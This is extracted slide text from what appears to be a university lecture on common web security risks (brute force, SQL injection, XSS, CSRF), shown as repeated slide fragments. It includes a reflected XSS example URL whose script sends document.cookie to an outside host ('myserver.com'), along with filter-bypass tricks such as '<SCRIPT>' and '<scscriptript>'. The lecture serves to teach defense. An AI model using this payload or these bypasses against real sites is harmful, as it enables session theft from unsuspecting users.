eb Security Software Studio yslin@DataLAB 1 Common Security - PowerPoint PPT Presentation

Sep 19, 2023 •231 likes •1.66k views

eb Security Software Studio yslin@DataLAB 1 Common Security Risks Brute-Force Attacks SQL Injections Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF) 2 Common Security Risks Brute-Force Attacks SQL

確定 http://somewebsite.com/showimage?id=<script>al… You are watching an image with id = meow 58
Hi~ Hello~ A cute cat !! http://goo.gl/abcdef 59
Hi~ Hello~ A cute cat !! http://goo.gl/abcdef http://somewebsite.com/showimage? id=<script>location.href=(“http://myserver.com/ somepage?cookie=" + document.cookie);</script> 59
WTF x 2 60
Cross-Site Scripting 61
Cross site to retrieve sensitive data Cross-Site Scripting 61
Cross site to retrieve sensitive data Cross-Site Scripting Using scripts to attack 61
How To Defense ? 62
1. Filtering 63
1. Filtering Lots of filtering methods 63
1. Filtering Lots of filtering methods But, there are also lots of ways to bypass 63
Filtering Method 1 Removing all <script> words 64
Filtering Method 1 Removing all <script> words But using <SCRIPT> will be safe. 64
Filtering Method 2 Replace all script 65
Filtering Method 2 Replace all script But, <scscriptript> becomes <script> 65
Learning Filtering Methods • Some practice websites • alert(1) to win • If you cannot see the page, try to replace ‘https’ with ‘http’ • prompt(1) to win 66

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